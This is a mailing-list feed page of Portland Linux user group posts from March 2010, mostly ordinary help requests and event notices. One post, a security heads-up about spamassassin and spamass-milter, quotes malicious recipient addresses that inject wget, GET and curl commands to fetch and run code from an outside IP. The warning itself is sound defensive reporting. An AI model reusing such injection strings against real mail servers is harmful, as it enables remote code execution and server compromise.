http://blog.gmane.org/gmane.org.user-groups.linux.portland hourly 1 1901-01-01T00:00+00:00 http://gmane.org/img/gmane-25t.png http://gmane.org http://comments.gmane.org/gmane.org.user-groups.linux.portland/30863 <pre>I am trying to use the designer tool in QT 4. I have a basic little window with a menu bar. I want to create some pop-up windows that are generated by clicking on items in my menu bar. Using QT 3 and C++, I could easily do this. Can anyone give me the big picture type stuff as to how one does this with the QT designer? For example, do I create another window using the designer and then in my main window constructor connect the clicked() slot in the menu bar to to a main window slot that builds the new window? This would seem like the reasonable way to do this, but I'm not sure how. I have to go out of town this afternoon (10-03-19) so if anyone asks any questions of me, it may be tomorrow morning before I can answer. Wayne </pre> Wayne E. Van Loon Sr. 2010-03-19T17:24:21 http://comments.gmane.org/gmane.org.user-groups.linux.portland/30862 <pre> I am interested in running a WinXP instance on top of Linux in a qemu-kvm virtual machine in a way that is maximally transparent to the user of the machine. Mostly, it looks like it works, but I am a bit concerned that hotplugged devices (USB in particular) might make "the man behind the curtain" more visible than desired. I am interested in hearing about anyone's experience doing or trying to do this. What did you use, how successfully, etc. Thanks! </pre> Russell Senior 2010-03-19T08:48:28 http://comments.gmane.org/gmane.org.user-groups.linux.portland/30861 <pre>I am trying to compile an NFS root kernel and tag it with mkelf-linux. The kernel version is 2.6.30.2. I am getting an error trying to PXE boot that the kernel image checksum does not match another checksum. My mkelf-linux invocation is: mkelf-linux --output=linux-2.6.30.2-nfsroot.gz --ip=dhcp bzImage Anyone know what I'm doing wrong? </pre> Michael Robinson 2010-03-18T20:19:25 http://comments.gmane.org/gmane.org.user-groups.linux.portland/30856 <pre>All, I have used Clark Connect for about 8 years now and love it, for the simple fact that most times I don't even know it's there. The uptime on my server is currently 623 days. The version I have installed is from 2005, CC 3.2. I happened to wander out to the web and look for the latest version, as I'm thinking of implementing VPN. Low and behold, ClarkConnect is now Clear Foundation, with a ClearOS that replaces CC. Does anyone have experience with ClearOS? Is it just CC with a new marketing scheme, but I can expect the same reliability? Are there other good Gateway/Firewall specific distros out there that compare well with CC, in case I need to change? thanks, </pre> Daniel Herrington 2010-03-18T06:17:33 http://comments.gmane.org/gmane.org.user-groups.linux.portland/30854 <pre> Apologies for activist propaganda, particularly if you don't live or work within the Portland city limits, but as members of the geek community the rest of you I consider you part of the target demographic: http://www.pdxcommunityfiber.com/2010/03/17/portland-attempts-world-record-to-get-google%E2%80%99s-attention/ We are trying to demonstrate the hunger in Portland of ordinary people for fiber-to-the-home to Google (who may decide to build a test-bed network here) and to the City Council (who may be convinced to help get it built even if Google chooses somewhere else). We have an awesome video of Ward Cunningham talking about why it's so important: http://www.pdxcommunityfiber.com/2010/03/10/ward-cunningham-on-community-fiber/ We are encouraging any/all people to come to this event this Saturday at 9am at NW Couch and Naito Parkway (Front Avenue) and help us demonstrate that Portlanders want open-access 1Gbps fiber connections to their homes and businesses. I was not consulted about the time-of-d</pre> Russell Senior 2010-03-18T05:19:28 http://comments.gmane.org/gmane.org.user-groups.linux.portland/30847 <pre> Reminder: PLUG Advanced Topics TONIGHT What Went Wrong with My Disaster Recovery Plan 7PM Roots Organic Brewery 1520 Southeast 7th Ave near Hawthorne Brian Martin will be test-driving his IEEE presentation on his experiences in a true, "abandon the building" disaster recovery effort. He'll place particular emphasis on where technically sound, well-tested disaster plans often fail in a real disaster, and how these problems can be overcome. Bandwidth and cable gremlins permitting, this will be streamed and recorded at: http://www.ustream.tv/user/michaeldexter Speaking of the IEEE, the President spoke last night and is a great guy, as is the local chair John Prohodsky who happens to be helping out with Open Source Bridge. We all value standards and you may want to consider IEEE membership when considering FSF, EFF or Linux Foundation membership. Go ahead and pay for that membership with your Linux Fund, FSF, IEEE or Linux Foundation credit card. Michael </pre> Michael Dexter 2010-03-17T08:56:17 http://comments.gmane.org/gmane.org.user-groups.linux.portland/30846 <pre>Around Thanksgiving I picked up a notebook at Free Geek, outfitted with Ubuntu, for use by my brother in law in northern California. We also set up a wireless broadband system for the house. His computer literacy is very limited, but he just uses it mainly for web surfing, and for the last four months it has been working fine. Yesterday, he started it up and seems to be blocked from going online. All the wireless and modem equipment seems to be operating as per normal, and the notebook is otherwise functioning okay. I've tried a few basic checks to try to figure out what the problem is, but no luck. Firefox had the "work offline" box checked at one point, but we got it de-checked and it's still not connecting. (The error messages we get, when asking the browser to go to a URL, have been "server not found.") BIL would not have *intentionally* made any changes to settings, but might have inadvertently done something - the computer's touch pad and even keyboard are very sensitive. Hi</pre> Randy Stapilus 2010-03-15T22:11:30 http://comments.gmane.org/gmane.org.user-groups.linux.portland/30840 <pre>Is there any chance we could re-format the top of these digests so that we don't have to scroll through the boiler plate to see the topics, i.e.: Today's Topics: 1. Re: Dog (Marvin Kosmal) 2. Trouble with siliconhd homerun network tuner... (Michael Robinson) 3. Is 1 GB enough memory? (Richard C. Steffens) 4. Re: Is 1 GB enough memory? (frank hunt) 5. Re: Is 1 GB enough memory? (Marvin Kosmal) 6. Re: Trouble with siliconhd homerun network tuner... (Larry Brigman) 7. Re: Is 1 GB enough memory? (Fred James) Send PLUG mailing list submissions to plug&lt; at &gt;lists.pdxlinux.org To subscribe or unsubscribe via the World Wide Web, visit http://lists.pdxlinux.org/mailman/listinfo/plug or, via email, send a message with subject or body 'help' to plug-request&lt; at &gt;lists.pdxlinux.org You can reach the person managing the list at plug-owner&lt; at &gt;lists.pdxlinux.org When replying, please edit your Subject line so it is more specific than "Re: Contents of PLUG digest..." -</pre> John Gilbrough 2010-03-16T19:16:59 http://comments.gmane.org/gmane.org.user-groups.linux.portland/30839 <pre>This is a heads-up that there might be an actively exploited vulnerability in either the spamassassin or spamass-milter package. I'm still unsure where the problem lies, but here's what I know. The system described below runs x86_64 release of CentOS 5.4. SELinux was, at the time, in Permissive mode. The packages involved, as far as I can tell, are * spamassassin-3.2.5-1.el5.rf (rpmforge) * spamass-milter-0.3.1-1.el5.rf (rpmforge) * sendmail-8.13.8-2.el5 (centos) Mar 15 05:47 (times are PDT): Several messages arrived with suspicious recipients: &lt;root+:&gt; &lt;root+:"|wget http://61.100.185.177/busy-1.php"&gt; &lt;root+:"|GET http://61.100.185.177/busy-2.php"&gt; &lt;root+:"|curl http://61.100.185.177/busy-3.php"&gt; Sendmail recognized the addresses as syntactically evil, but a process running under the spamass_milter_t context ran wget, GET, and curl and connected to the IP address in the addresses above. The file(s) downloaded by these processes executed a shell script. It did several things</pre> Paul Heinlein 2010-03-16T19:16:55 http://comments.gmane.org/gmane.org.user-groups.linux.portland/30830 <pre>My sister recently upgraded from an XP machine to a Mac. I got the hand-me-down. I now have a test machine and plan to use it to try out different distros. XP will not be one of them. One reason she got her new machine is that the old one runs so slowly. Of course, XP is part of the problem, and who knows what mischievous malware has found its way onto the hard drive (no, I'm not connecting it to the house network until I wipe that drive and load Linux). Another reason it is slow is that it has only 256 MB of RAM. The mother board has two memory slots with one DDR PC3200 stick in it. I can get a 1 GB stick for $36. Will that be good enough? I realize that more is usually better, but $36 is better than $72 for now. Other details: Processor: AMD Sempron 2400+, 1.6 GHz Hard drive: 111 GB (can't see the make and model unless I take it out. Floppy, CD writer/DVD reader. TIA for any advice. </pre> Richard C. Steffens 2010-03-16T12:37:29 http://comments.gmane.org/gmane.org.user-groups.linux.portland/30829 <pre>I can get it to work with a 2.4 Ghz P4 and 512 megs of ram on a CentOS system no problem. On my Windows XP 3.06 Ghz P4, 1.5 gigs of ram, I can only get television streaming to work in an administrator account. I used tweakxp.exe and then uninstalled it because it is only free for 30 days. The important tweak I used this for forces Windows XP core to run out of memory instead of swapping in and out from hard disk. Another tweak, I set the minimum and maximum pagefile size to 1.5 gig. Beyond that, I don't think I did any other tweaks that made any difference. How can I figure out quickly what the differences are that cause performance problems in non administrative accounts? I'm close to thinking that I'm going to have to dual boot on my Windows machine CentOS to get things working. When I try to stream television from the tuner in the guest account on the XP box, at most there is 1 frame and than the picture freezes and there is no sound. The tweakxp.exe utility was supposed to propagate changes to all </pre> Michael Robinson 2010-03-16T06:26:36 http://comments.gmane.org/gmane.org.user-groups.linux.portland/30823 <pre>I am going to be in the market for a R/W Blu-Ray drive in another month. Can anybody recommend a brand or model that works well with Linux? I am using Ubuntu on a 64 bit machine. </pre> rich 2010-03-16T00:35:42 http://comments.gmane.org/gmane.org.user-groups.linux.portland/30814 <pre>I have googled this and can't find a rpm for dog.. What am I doing wrong...?? Should be easy.. It was in the database for Debian Not so for Fedora unless it is kept in some obscure place?? Any pointers would help.. TIA Marvin </pre> Marvin Kosmal 2010-03-15T20:16:11 http://comments.gmane.org/gmane.org.user-groups.linux.portland/30812 <pre>what no battery charger when riding ? </pre> Pete Lancashire 2010-03-15T19:00:01 http://comments.gmane.org/gmane.org.user-groups.linux.portland/30807 <pre> Better late than Never March PLUG Advanced Topics What Went Wrong with My Disaster Recovery Plan 7PM Roots Organic Brewery 1520 Southeast 7th Ave near Hawthorne Brian Martin will be test-driving his IEEE presentation on his experiences in a true, "abandon the building" disaster recovery effort. He'll place particular emphasis on where technically sound, well-tested disaster plans often fail in a real disaster, and how these problems can be overcome. The best data center disaster recovery plans are developed carefully and tested regularly. If you're at that stage, you may think you are well prepared. In this entertaining presentation, Brian Martin describes the unexpected problems that arose when a well thought out and tested plan met a real disaster, and draws lessons that are applicable to any disaster recovery situation. Brian Martin has spent 30 years in the IT field, fairly evenly divided between being a mainframe system programmer and a server system administ</pre> Michael Dexter 2010-03-15T17:29:53 http://comments.gmane.org/gmane.org.user-groups.linux.portland/30806 <pre>Claims to be open source. http://www.cerevellum.com/ -Denis </pre> Denis Heidtmann 2010-03-15T16:51:31 http://comments.gmane.org/gmane.org.user-groups.linux.portland/30805 <pre>Marvin, John is correct. You have to install the adobe repository and add flash via yum or yumex. Here are the instructions: http://fedoraproject.org/wiki/Flash Mike ---------- Forwarded message ---------- From: John Jason Jordan &lt;johnxj&lt; at &gt;comcast.net&gt; To: plug&lt; at &gt;lists.pdxlinux.org Date: Sat, 13 Mar 2010 17:45:27 -0800 Subject: Re: [PLUG] Fedora 12 On Sat, 13 Mar 2010 16:52:50 -0800 Marvin Kosmal &lt;mkosmal&lt; at &gt;gmail.com&gt; dijo: Flash works fine for me with Firefox on Fedora 11, x86_64. I think I installed it with yum or yumex directly. In my experience you almost always have to restart Firefox when you install any plugins or extensions or add-ons. </pre> S. Michael Convey 2010-03-15T16:46:29 http://comments.gmane.org/gmane.org.user-groups.linux.portland/30800 <pre> Hello, The National Center for Women &amp; Information Technology (NCWIT) is hosting an event in May and wants to reach out to local women in open source. Could anyone help spread the word? See below. Michael I really need help driving applications for the Portland area award since we have such a short turn around time. Could you please send out a blast to your networks w/ the info below? Also, please let me know if your organization would like to include something in the girls' bag of goodies. :-) Thanks, Ruthe Farmer, MBA Director of Strategic Initiatives The National Center for Women &amp; IT www.ncwit.org &lt;http://www.ncwit.org&gt; V 303-735-5578 M 303-720-1913 F 303-735-6606 Ruthe.Farmer&lt; at &gt;colorado.edu &lt;mailto:Ruthe.Farmer&lt; at &gt;colorado.edu&gt; *SAVE THE DATE!* NCWIT Practices Summit on Women and Computing May 18-20, 2010 | Intel | Portland, OR http://www.ncwit.org/meetings ################# *Attention Tech Savvy Young Women! Are you the future of technology?* As part of an effort to encourage more young wome</pre> Michael Dexter 2010-03-14T07:32:44 http://comments.gmane.org/gmane.org.user-groups.linux.portland/30796 <pre> </pre> frank hunt 2010-03-13T16:20:50 http://comments.gmane.org/gmane.org.user-groups.linux.portland/30795 <pre>All Any experience or knowledge of the ... Canadian Multilingual Standard Keyboard Canadian French Keyboard ?? ... especially as related to OOo? Thanks Regards Fred James </pre> Fred James 2010-03-13T16:20:16 http://comments.gmane.org/gmane.org.user-groups.linux.portland/30791 <pre>All Firefox problem When I click on Edit &gt;&gt;&gt;Preferences... A little dialogue box opens up with nothing in it.. This on a new install of Fedora 12... TIA Marvin </pre> Marvin Kosmal 2010-03-12T15:27:40 Search the mailing list at Gmane query http://search.gmane.org/?group=$group=gmane.org.user-groups.linux.portland